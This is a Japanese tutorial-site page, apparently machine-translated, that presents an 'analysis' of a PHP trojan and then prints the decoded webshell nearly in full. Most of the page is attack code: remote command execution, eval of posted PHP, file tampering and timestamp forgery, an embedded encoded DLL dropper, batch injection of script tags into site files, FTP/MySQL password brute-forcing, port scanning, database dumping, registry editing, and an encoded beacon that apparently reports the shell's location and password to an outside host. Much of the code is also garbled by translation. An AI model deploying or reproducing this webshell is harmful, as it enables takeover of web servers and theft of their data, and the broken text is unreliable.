ホームページ >php教程 >php手册 >php トロイの木馬(暗号クラッキング)の分析

php トロイの木馬(暗号クラッキング)の分析

WBOY
WBOYオリジナル
2016-06-13 12:23:461718ブラウズ

分析の結果、このトロイの木馬はbase64でエンコードされ、圧縮されていることがわかりました。関連する機密保持措置が講じられていますが、PHP コードは実行する必要があり、最終的に PHP ソース コードが生成されるため、デコード、解凍してファイルに書き込むために次の PHP プログラムが作成されます。
デコードおよび解凍コードは次のとおりです:

コードをコピー コードは次のとおりです:


function writetofile($filename, $data)
{ //ファイル書き込み
$filenum=@fopen($filename,"w"); $filenum) {
return false;
flock($filenum,$data);
fclose($filenum); 🎜>return true;
}
?>


次に、php 環境で実行すると、次のような php プレーンテキスト ファイルが得られます。 >
コードをコピーします

コードは次のとおりです:


error_reporting(7);
ob_start();
$mtime =explode(' ', microtime()); ;
@set_time_limit(0);
//非セーフ モードはタイムアウト後に上記の関数を使用してキャンセルできます。
/*====================== プログラム構成===================== =* /
// パスワードの検証が必要かどうか。1 は検証が必要であることを意味し、その他の数値は無効であることを意味します。
$admin['check'] = "1">/ / パスワードの検証が必要な場合は、ログインパスワードを変更してください
//デフォルトのポートテーブル
$hidden = "44997"
$admin['port'] = "80,139,21,3389,3306, 43958,1433,5631";
//ジャンプに使用される秒
$admin['jumpsecond'] = "1";
//FTP クラッキングに使用される接続ポート
$alexa = "yes";
/ /Alexa ランキングを表示するかどうか、はいまたはいいえ
$admin['ftpport'] = "21"
// phpspy 自体の時刻の自動変更を許可するかどうか。ファイルを作成時に編集しました (yes/no)
$retime = "no";
// Linux システムの場合は、デフォルトの cmd.exe の場所を変更してください。 winnt システムなので、プログラム内で指定できます)
$cmd = "cmd.exe";
// 以下は、多くの人がキーワードとして使用しているため、phpspy によって表示される著作権列です。プログラムを削除して、Yuhan~~ カスタマイズを許可します。まだ理解できない場合は変更しないでください~~

/*====================== 設定は終了します==== ======== =========*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin[ 'パス'];
$copyurl =base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9'); 4_decode('Jz48 L3NjcmlwdD4=');
$onoff = (function_exists('ini_get')) ? 'register_globals') : get_cfg_var('register_globals ');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $ _SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");
/*==================== 認証 ====== ======== =======*/
if($admin['check'] == "1") {if ($_GET['action'] == "ログアウト" ) {setcookie ("adminpass", "");echo "";echo "ログアウトに成功しました...

3 秒後に自動的に終了します または、ここをクリックしてプログラム インターフェースを終了します>>>";exit;}
if ($_POST['do'] == 'login' ) {$thepass= トリム($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time() (1*24*3600) );echo "< ;meta http-equiv="refresh" content="0;URL=".$self."">";echo "".$copyurl.$serveru."&p=".$serverp. $copyurl."< ;/form>";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage ();}} else {loginpage();}}
/*====================== 検証は終了します======== ====== =======*/
// magic_quotes_gpc のステータスを決定します
if (get_magic_quotes_gpc()) {$_GET =tripslashes_array($_GET);$_POST =tripslashes_array($_POST) ;}
/ /mix.dll コード
$mixdll = "7Zt/TBNnGMfflrqBFnaesBmyZMcCxs2k46pumo2IQjc3wSEgUKYthV6hDAocV6dDF5aum82FRBaIHoRlRl0y3Bb/cIkumnVixOIE/cMMF ePxW1Ixah1yLBwe 5aHMa5JcsWs T5JE f9/m z/u8z73HP9cruaXbSAwhRAcmy4QcIBEyyd8zCJbw1FcJZH/cyZQDmpyTKYVVzkamnq r5G21TIXN5aoTmHKO4d0uxulisl8vYGrr7JwhPn5marTG4ozM3oZ1hrYpk7JS2wR1 /Fzb2 DnZ GWosZSV1lav mfbePD5zooqJf9BveWZCMnR6Ah/MmfFlHaRJKTM0jxCCAVBekQbmE0iMaOGlDqmIuehiZ5LpGA0D9BGUyMxdVdXy6YQskXxTGTJA8kkJPuv5h8Ec7f1P8UgcBsF8B9qow1N2b0 lygy83S byYCPlcExGmncH0FjMNkTRyVMlLJ/ec3bQ8v4HnauoqCKmJCmpe5n15KwiCIAiCIAiCIAjyUBCzU2PFTJ1nCRGM4kqdNyAsKCr eitLKE9AXui/ cXt0wt 26cRT4u3xc2pid9c0Yb2iH2eSzGh3VZLD 6zWH SOa3sxYBmoZ/T3berbdy1rx6rtXd8PDY0FRsWjSiytjxdm 9nWTshyN1ujy5SRYTnmO6nymMc9hZY64Z4qmuVB5oT9YKeZSvtxbLe12mMiv0sKD7ZAddnOIprG8oUIYpSlfXCyWJNB83jKldItS ZM 0QS1RdknumblesENSV6YcvqSxdEKJpvCuCfAtMyj4lC KpltWyxviT t7vpXT5kM3clqq snAp3JGXr87YemMfXAu7xjkeMWL8XOVrsc0Ypwvfj8I7mVVzbChnJQIutdv3nVIEXVwCQ4PQ3Y QUZ UOdquC52dq1wEIh4aVfLWq2RzMgD2Wqmlev5AuxisZRS0N4Rev87SYAHfmUfm0Ou25pgsO58lJemX/ NEUhZku1puSInsBxF4jrY4tEt75Y3EJ5R91xngylPgnO80xqhBmeSa376Z3 yC ZxxUUF8ikY6GEwlCTLMrSgNLxaiQugOVjjM ndetBfKM4rGLoBR gdVcrEuOcpSRcn1UUxKSa9Z4ueCLOnaseqtWEx3Gc42 vs oFq2D5zhCHtNYnS6nIHB8LWnV1tpq1LfTXcRqs1e7GwWrw 1stJXXcIVVPGez5zjLeRu/KQuyG8kqU/5qU87UXtOZ k3BhpTIbwRiolYCsR2sHqyMIiQPTHkP3gyxCNalnAOs0JJc89rs l9XCuc6NFXUuF1chTBta7ZzS/HRFjREEQRAEQRAEQRDkXyJIlb62MOA4aNU0L5op/T genDEUlGW5vkySpJ6JJZ Co8 201e8i izrfRyengPPfLBpY5q peDHeX0dy3dwkD/cfoTGL8Z2u6vXjbS6j WbOk611Tv P9ZLF9IXDneUrtzYUdKdJ9Ot9AVvR2nXXS6OElrqKKUraFeydTv9aqjD3zACGy Vb204MOPq5Hnq5Io0pkvsHujbk81NdTzSVB4DQjlCno7 WXk717qR691C9Z2XLhS937Eg87wsMdJvV jEAgsX PpXP81oR0IuDob7B81ClJn1nOd/0sSTtCvv4 R78NjIM5d7d58ZP mq2XHTwz0OVb1 I1Nb3WbSxs6HQ7H fBIIDg6PjgxEQwPD0vfB8NjI2FFgWhQOnfp sjJG6BNSGdGxybOXL8THATE HJSuDe891r1X6u8b7BsdvxkeGZTGR2/fDo PSOO/jg6Hh1VRIqSkpGT MwzPNbidPNfI2JhGgXe6Khmbyw7GOF0CV8nxD/uvA0EQBEEQBEEQBPnfQkX D/3x9PfTQ l30jVsIpvMMqyBfZ59iX2FLWTXsd VsHSuwm9j32Fa2k93HHmKPsJfZUTbf6DI2GbcaH/YlIAiCIAiCIA iCIAjy1 /wO";

function shelL($command){
global $windows,$disablefunctions;
$exec = '';$output= ' ';
$dep[]= array('pipe','r');$dep[]=array('pipe','w');
if(is_callable('passthru') && ! strstr($disablefunctions,'passthru')) { @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system) ') && !strstr($disablefunctions,' system')){$tmp = @ob_get_contents(); $output = @ob_clean(); $tmp; }
elseif(is_callable ('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("n",$output); $exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($output) =popen($command,"r") )) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res= proc_open($command,$dep,$pipes ))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get ('upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
// PHPINFO を表示
if ($_GET['action'] == "phpinfo") { echo $phpinfo=(!eregi("phpinfo",$dis_func)) phpinfo() : "phpinfo() 関数が無効になっています。を確認してください。";exit; $ _GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "チーフに報告すると、ホストが異常で現在のユーザー名を取得できません!";
echo "現在のプロセス ユーザー名: $user";
exit;
}
if(isset($_POST['phpcode'])){eval("?"."> ;$_POST[ phpcode]}
if($action=="mysqldown"){
$link=@mysql_connect($host,$user,$password) ;
if (!$link) {
$downtmp = 'データベース接続に失敗しました: ' . mysql_error() ";
$result = @mysql_query($query, $link);
if (!$result){
$downtmp = "読み取りに失敗しました。ファイルが存在しないか、ファイル権限がない可能性があります。
".mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = Basename($filename);
if($rardown =="yes"){
$zip = NEW Zip;
$zipfiles[]=Array("$filename",$row[0]);
$zip->Add($zipfiles) ,1);
$code = $zip->get_file();
$filename = "".$filename.".rar";
$code = $row [0];
header("Content-type: application/octet-stream");
header("Accept-Range: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=$filename");
echo($code);
exit;
}
}
}
}
// 在中プロキシ
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($プロキシコンテンツ) $proxycontents : "


取得 URL コンテンツが失われています

";exit;
}
// ダウンロード文
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename =basename($downfile);$filename_info =explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: Attachment; filename='.$filename.'');header('Content-Description: PHP 生成データ');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit ;}
}
// 直接ダウンロード备份数据库
if ($_POST['backuptype'] == 'download') {
@mysql_connect($servername,$dbusername,$dbpassword) またはdie("データベース库接続失败");
@mysql_select_db($dbname) または die("选择データベース库失败");    
$table = array_flip($_POST['table']);
$result = mysql_query("SHOW tables");
エコー ($result) ? NULL : "出错: ".mysql_error();

$filename = ベース名($_SERVER['HTTP_HOST']."_MySQL.sql");
header('Content-type: application/unknown');
header('Content-Disposition:attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]]])) {
$mysqldata.= sqldumptable($currow[0]);
$mysqldata.= $mysqldata."rn";
}
}
mysql_close();
終了します。
}

// 程序目录
$pathname=str_replace('\','/',dirname(__FILE__));
$dirpath=str_replace('\','/',$_SERVER["DOCUMENT_ROOT"]);

// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET['dir'];
$nowpath = getPath($pathname, $dir);
}

// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : "";

$tb = 新しいフォーム;

?>






<?php echo "$myneme"?>
'.$_SERVER['HTTP_HOST'].''。 date(" Y 年 m 月 d 日 h:i:s",time()).''.gethostbyname($_SERVER['SERVER_NAME) ']) .'','center','top');
$tb->tdbody('ルート ディレクトリ シェル ディレクトリ | 環境変数 | オンライン プロキシ'.$reg.$phpinfo.' | WebShell< ;/a> /a> mix">mix.dll を解凍 | ログアウト');
$ tb-> ;tdbody('バッチ マウント | HTTP ファイルのダウンロード | ファイル検索a href="?action=eval" href="?action=eval">php スクリプトを実行SQL ステートメントを実行 | 関数リバインド シェル | MySQL Backup | Serv -UElevation');
$tb->tablefooter();
?>



$tb->headerform(array('method'=>'GET','content'=> '

プログラム パス: '.$pathname. '
現在のディレクトリ ('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
ジャンプディレクトリ: '.$tb->makeinput('dir',''.$nowpath.'','','text','80') .' '.$tb->makeinput('', 'OK','','submit').' 〖絶対パスと相対パスをサポートします〗'));

$tb-> '.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'現在のディレクトリにファイルをアップロードします: ' .$tb->makeinput('uploadfile',' ','','file').' '.$tb->makeinput('doupfile','OK','','submit').$ tb->makeinput('uploaddir',$dir, '','hidden')));

$tb->headerform(array('action'=>'?action=editfile&dir= '.urlencode($dir),'content'=>) ;'現在のディレクトリに新しいファイルを作成します: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile',' 確認','','submit') ));

$tb->headerform(array('content'=>'現在のディレクトリに新しいディレクトリを作成します: '.$tb->makeinput( 'newdirectory')。' ' .$tb->makeinput('createdirectory','OK','','submit'));
?>



/*====================== 実行操作開始==== ====== ===========*/
echo "

n";
// ファイルを削除
if (!empty( $delfile)) {
if (file_exists($delfile)) {
echo (@unlink($delfile)) ? $delfile." 削除に成功しました!" : "ファイルの削除に失敗しました!"; Basename($delfile)."ファイルはもう存在しません!";
}
}

//ディレクトリを削除します
elseif (!empty($deldir)) {
$deldirs="$dir/$deldir";
if (!file_exists("$deldir") ) {
, ; (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory) ) {
$mkdirs="$dir/$newdirectory"; (file_exists("$mkdirs")) {
echo "ディレクトリはすでに存在します!";
} else {
> echo (@mkdir("$mkdirs",0777)) "ディレクトリの作成は成功しましたか? !" : "作成に失敗しました!";
@chmod("$mkdirs",0777);
}
}
}

// ファイルをアップロードします
elseif ( $doupfile) {
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir. "/".$_FILES['uploadfile']['name']."" )) ? "アップロードに成功しました!" : "アップロードに失敗しました!"
}
elseif($action=="mysqlup" ){
$filename = $_FILES['upfile']['tmp_name' ];
if(!$filename) {
echo "アップロードするファイルが選択されていません。";
}else{
$shell = file_get_contents($filename);
$mysql = bin2hex($shell);
if(!$upname) $upname = $_FILES['upfile' ]['name']
$shell = ".$database." から DUMPFILE '".$uppath."/".$upname."';"; 🎜> $link=@mysql_connect($host,$user,$password);
if(!$link){
echo "ログインに失敗しました".mysql_error();
}else{
$result = mysql_query($shell, $link);
if($result){
echo" 操作は成功しました。ファイルは ".$host" に正常にアップロードされました。ファイル名は " 。$ uppath。 "/"。$ upname。 ".. }
// ファイルを編集
elseif ($_POST[' do'] == 'doeditfile') {
if (!empty($_POST['editfilename') ])) {
if(!file_exists($editfilename)) unset($retime);
if ($time==$now) $time = @filemtime($editfilename); @date("Y-m-d H:i:s",$time);
$filename="$editfilename" ;
@$fp=fopen("$filename","w"); $_POST['filecontent']." $filecontent = gzdeflate($filecontent);
$filecontent = "< ;?phpn/ *nコードは水色の放射魚によって暗号化されています!n*/neval(gzinflate(base64_decode('$filecontent')));n"."?>>"; filecontent = $_POST['filecontent'];
fclose($fp);
if($retime=="yes"){
echo" ゆうゆう自動操作: "; @touch($ファイル名,$時間)?ファイルを「. $ Time2.」として変更します。「:」ファイル時間の変更に失敗しました。「;
}
} else {
編集したいファイル名を入力してください。」
}
}
//ファイルダウンロード
elseif ($_POST['do'] == 'downloads') {
$contents = @file_get_contents($_POST['durl'] );
if(!$contents){
echo "ダウンロードするデータを読み取れません";
}
elseif(file_exists($path)){
echo "申し訳ありません、ファイル". $path." はすでに存在します。保存ファイル名を変更してください。";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "ファイルは正常にダウンロードされました!" : "ダウンロード ファイルの書き込みに失敗しました!";
@fclose($fp);
}
}
elseif($_POST['action']=="mix"){
if ( !file_exists($_POST['mixto'])){
$tmp = Base64_decode($mixdll)
$tmp = gzinflate($tmp);
$fp = fopen($_POST[' mixto '],"w");
echo $msg=@fwrite($fp,$tmp) ? "このディレクトリは書き込み可能ではありませんか? !";
fclose($fp);
}else{
echo"ですよね?".$_POST['mixto']."すでに存在します~";
}
}
// ファイルのプロパティを編集
elseif ($_POST['do'] == 'editfileperm ') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10); ."/".$file,$fileperm)) ? "属性の変更に成功しました!" : "変更に失敗しました!";
echo "ファイル ".$file" 変更された属性は次のとおりです: ".substr(base_convert(@) fileperms($dir."/".$file),10,8),-4);
} else {
echo "設定する属性を入力してください!"; >}

// ファイルの名前変更
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($newname)) {
echo "".$_POST[ 'newname ']。すでに存在します、1つを再入力してください! ";
']。 ";
}
} else { ファイル名!";
}
}
elseif ($_POST['do'] == 'search') {
if( !empty($oldkey)){
echo " 検索キーワード: [".$oldkey."]、検索結果は以下に表示されます: "; type2 == "getpath"){
echo "結果ファイルの上にマウスを移動すると、部分的なスクリーンショットが表示されます。";
}
echo"

< hr width="775" noshade>";
find( $path);
}else{
echo "エビを調べたいですか?確認したいですか?";
}
}
elseif ($ _GET['action']=='plgmok') {
dirtree($_POST['dir'],$_POST[ 'mm']);
}
elseif ($_GET['action' ] == "plgm") {
$action = '?action=plgmok';
$gm = "< ;script src="http://127.0.0.1" src="http://127.0 .0.1">";
$tb->tableheader();
$tb ->formheader($action,'バッチホースマウント');
$tb- >tdbody('Webサイトバッチホースマウントプログラムphpバージョン','center'); ('ファイルの場所: '.$tb->makeinput('dir',''.$ _SERVER["DOCUMENT_ROOT"].'','','text','60').'
コードリンクする:'.$tb->maketextarea('mm',$gm,'50' ,'5').''.$tb->makehidden('do','バッチホースハンギング')。 '
'.$tb->makeinput('submit','馬吊り開始' ,'','submit'),'center','1','35'); ";
$tb->tablefooter();
} //end plgm
// クローン時間
elseif ($_POST['do'] == 'domodtime ') {
if (!@file_exists($_POST['curfile'])) {
echo "変更するファイルが存在しません!"
} else {
if (! @file_exists($_POST['tarfile'])) {
echo "参照するファイルが存在しません!"; ";
} else { Basename($_POST['curfile'] の変更時刻) )." は ".date("Y-m-d H:i:s",$time) に正常に変更されました。" !" : "ファイルの変更時刻に失敗しました!"; }

// カスタム時刻
elseif ($_POST['do'] == 'modmytime') {
if (!@file_exists( $_POST['curfile'])) {
echo "変更するファイルが存在しません!";
}else {
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];        
$hour=$_POST['hour'];
$ minutes=$_POST['分'];
$秒=$_POST['秒'];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($分) AND !empty($秒)) {
$time=strtotime("$data $month $year $hour:$分:$秒");
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." の変更時間は成功に変更されました ".date("Y-m-d H:i:s",$time)." !" : "文書の修正時間中修正失効!";
}
}
}
elseif($do =='port'){
$tmp =explode(",",$port);
$count = count($tmp);
for($i=$first;$i $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp) echo"発行现".$host."主机打开了端口".$tmp[$i]."
";
}
}
/*
ここに代コード写得很杂、说话我自己都不知道写了物。 */
elseif ($do == 'crack') {// 反正注册は全局变量了。
if(@file_exists($passfile)){
$tmp = ファイル($パスファイル);
$count = count($tmp);
if(empty($onetime)){
$onetime = $count;
$turn="1";
}else{
$nowturn = $turn 1;
$now = $turn*$onetime;
$tt = intval(($count/$onetime) 1);
}
if($turn>$tt or $onetime>$count){
echo"超过字典容量了耶~要是破解的最終過程,很抱歉失。";
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now;$i ){
if( $ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
else $sa = @ftp_login(ftp_connect($host,$admin[ftpport)] ]、$ user、chop($ tmp [$ i]); [$i]."";

}
if(!$t){
echo "字典总共".$count."个,现在从".$first."到".$now.",".$admin[jumpsecond]."秒その後、「.$onetime.」の秘密コードの検索を実行します。 >>>
今回の「.$type.」の破壊は「.$tt.」の次に完全に解除され、次は「.$turn.」になります。 /span>";
}
else {
echo"$t";
}

}else
echo"存在しない、確定。"; ,",$port);
$count = count($tmp); ;
$first = $tmp[0];
$count = $tmp[1];

}
for($i=$first;$i<$count;$ i ){
if(!eregi("-",$port)){
$fp = @fsockopen( $host, $tmp[$i], $errno, $errstr, 1);
If ($ FP) $ Host 「ホストがポートを開きました。」 "& Lt; br & gt;";
} else {
$ fp = @fsockopen ( $ Host, $ i, $ ERRNO, $ EERSTR, 1);
IF ($ FP) Echo " . $ Host." ホストがポートを開きました ". $ i." & lt; "; $dbname)) {
echo "データベース接続成功!"; } else {
echo mysql_error();
}
}

//SQL ステートメントを実行
elseif ($_POST['do'] == 'query') {
@mysql_connect($servername,$dbusername,$dbpassword) または die("データベース接続に失敗しました");
@mysql_select_db($dbname) または die("データベースの選択に失敗しました"); @mysql_query($_POST['sql_query']);
echo ($result) : "エラー: ".mysql_error();
🎜>
// バックアップ操作
elseif ($_POST['do'] == 'backupmysql ') {
if (empty($_POST['table']) OR empty($_POST[' backuptype'])) {
echo "バックアップするデータテーブルとバックアップ方法を選択してください!";
} else {
if ($_POST['backuptype'] == 'server' ) {
@mysql_connect($servername,$dbusername,$dbpassword) または die("データベース接続に失敗しました"); < Q> @Mysql_SELECT_DB ($ dbname) または die ("データベースの失敗を選択してください"); $ table = array_flip ($ _ post ['table']) );
if ($filehandle) {
$result = mysql_query("SHOW tables") 🎜> while ( $currow = mysql_fetch_array result){
fwrite($ filehandle、 "nnn");
fclose($filehandle);
}
}
}
}
elseif($downrar) {
if (!empty( $dl)) {
if(eregi("unzipto:",$localfile)){
$path = "".$dir."/".str_replace("unzipto:","",$localfile) )."";
$zip = 新しい Zip;
$zipfile=$dir."/ ".$dl[0];
$count=count($array);
$f=0; >Extract($zipfile,$path,$i)>$f ; dl[0] を ".$path." に解凍しました
($f files$d ディレクトリ)";
elseif($f==0) echo "$dl[0] を解凍しました " に到達できませんでした。 $path.";
else echo "$dl[0] は完全に解凍されていません
($f ファイルと $d ディレクトリは解凍されています)";
}else{
$zipfile=" ";
$zip = new Zip;
for($k=0;isset($dl[$k]);$k )
$zipfile=$ dir."/".$dl[ $k];

$filesize=@filesize($dir." /".$zipfilearray[ $i]);
$fp=@fopen ($ dir。 "/"。$ filename、rb);
else
{
$filename=$dl[$k];
$filesize=@filesize($zipfile);
$fp=@fopen($zipfile,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$ck = "_QQ44997_".date("Y-m-d",time())."";
if(empty($localfile)){
header("Content-type: application/octet-stream");
header("Accept-Ranges: バイト");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
echo $code;
終了;
}else{
$fp = @fopen("".$dir."/".$localfile."","w");
echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功!!" : "ディレクトリ".$dir."書き込み権限がありません!";
@fclose($fp); ダウンロードしたファイルをパックします!";
}
}
// シェル.アプリケーションプログラムを実行します
elseif(($_POST['do'] == 'programrun') AND !empty($_POST ['program'])) {
$shell= &new COM('Sh'.' el'.'l.Appl'.'ica'.'tion');
$a = $shell-> ;ShellExecute($_POST['program'],$_POST['prog']); > echo ($a=='0') ? "プログラムは正常に実行されました!" : "プログラムの実行に失敗しました!";
}
// PHP 設定パラメータのステータスを表示します
elseif( ($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
echo "構成パラメータ".$_POST['phpvarname']." 検出結果: " .getphpcfg($_POST['phpvarname'])."";
}
// レジストリを読み取ります
elseif (($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
var_dump(@$shell->RegRead($_POST['readregname'])) ;
}

// レジストリに書き込みます
elseif(($regwrite) AND !empty($ _POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'. 'ipt.S'.'hell');
$a = @$ shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($a=='0') "レジストリ キーの値を書き込みます成功しました!" : "書き込み ".$_POST['regname'].", ".$_POST['regval']. ", ".$_POST['regtype'].";
}
// レジストリを削除します
elseif(($regdelete) AND !empty($_POST['delregname']) ) {
$shell= &new COM('WS'.'cri'.'pt.S '.'彼'.'ll');
$a = @$shell->RegDelete($_POST ['delregname']);
echo ($a=='0');レジストリ キー値が正常に削除されました!" : ".$_POST['delregname'] の削除に失敗しました!";
}
else {
echo "$notice";
echo "プログラム pcAnywhere | スタートプログラム "?dir=C:/Program Files/RhinoSoft.com/Serv-U">Serv-U ";
for ($i=66;$i<=90;$i ){ $drive= chr($i).':';
if (is_dir($drive. "/")){$vol=shelL("vol $drive");if(empty($vol))$ vol=$drive;echo " $drive\";}
}

}
エコー "

n";
/*===================== 実行操作结束 ===================== */
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
$ tb->tableheader();
?>









// 目录列表
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="1"){
if($file!=".." && $file!=".") {
$ctime=@date("Y-m-d H: i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
echo "n";
echo " n";
echo " n";
echo " n";
echo " n";
echo " n";
echo " n";
echo "n";
$dir_i ;
} else {
if($file=="..") {
echo "n";
echo " n";
echo "n";
}
}
}
}// while
@closedir($dirs);
?>




// 文件列表
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="0"){
$size=@filesize($filepath);
$size=$size/1024 ;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath)) {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
} else {
$ctime="".@date("Y-m-d H:i:s",@filectime($filepath))." $mtime="".@date("Y-m-d H:i:s",@filemtime($filepath))."";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "
n";
echo " n";
echo " n";
echo " n";
echo " n";
echo " n";
echo " n";
$file_i ;
}
}// while
@closedir($dirs);
if(get_cfg_var('safemode'))$z = "(?)"; ')">(?)";
else $z = "(?)";
$tb->tdbody('
文件 创建日期 最終修正 プロパティ 操作
[$file< /a>]$ctime$mtime検索$dirperm| 変更名< ;/a> |
返上级目录
";
echo "";
echo "$file
$ctime$mtime$size KB$fileperm下ダウンロード | < ;a href="" href="""?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."">编辑 ="" href="""#" onclick="really('".urlencode($dir)."','".urlencode($filepath)."','你确定要删除 $file 文件吗?' ,'2')">删除 | 変更名 時間n";
echo "
'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox',' 30','').' ローカル ファイル: '.$tb->makeinput('localfile','','','text','15').''.$tb->makeinput(' downrar','パッケージのダウンロードまたはローカルへの保存を選択',','送信').'.$z.''.$dir_i.' '.$file_i.' ファイル
','center',getrowbg(),'','','6');

echo " n";
echo "n";
}// end dir

elseif ($_GET['action'] == " editfile") {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents= @fread ($fp, filesize($filename)); $newfile;
$filename = "$dir/$editfile"
}
$action = "?dir=".urlencode($dir) )."&editfile=".$editfile;
$tb->formheader($action,'新規/編集'); ;tdbody('現在のファイル: '.$tb-> ;makeinput('editfilename',$filename).' 新しいファイルを作成するには、新しいファイル名を入力してください。PHP コードの暗号化: ');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile ');
$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "名前変更" ) {
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] :basename($_GET['fname']); ".urlencode($dir)."&fname=".urlencode($fname);
$tb->tableheader();
$tb->formheader($action,'ファイル名を変更') ;
$tb->makehidden('oldname',$dir."/".$nowfile);
$tb->makehidden('dir',$dir); >tdbody('現在のファイル名: '.basename($nowfile));
$tb->tdbody('名前変更: '.$tb->makeinput('newname')); tb->makehidden('do','rename');
$tb->formfooter('1','30')
}//名前変更終了

elseif ( $_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir).""
$tb->tableheader(); $tb->formheader(''.$action.' "target="_blank' ,'PHP スクリプトを実行');
$tb->tdbody($tb->maketextarea('phpcode', $内容));
$tb->formfooter('1','30');

}
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file;
$tb->tableheader();
$tb->formheader($action , 'ファイル属性を変更する');
$tb->tdbody('.$file.' の属性を次のように変更します: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($ dir.'/'.$file),10,8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden(' dir',urlencode($dir));
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30'); >}//end fileperm

elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir);
$キャッシュ月 = array('1 月'=>1,'2 月'=>2,'3 月'=>3,'4 月'=>4,'5 月'=>5,'6 月'=> 6、「7 月」=>7、「8 月」=>8、「9 月」=>9、「10 月」=>10、「11 月」=>11、「12 月」=>12) ;
$tb->tableheader();
$tb->formheader($action,'クローンファイルの最終変更時刻');
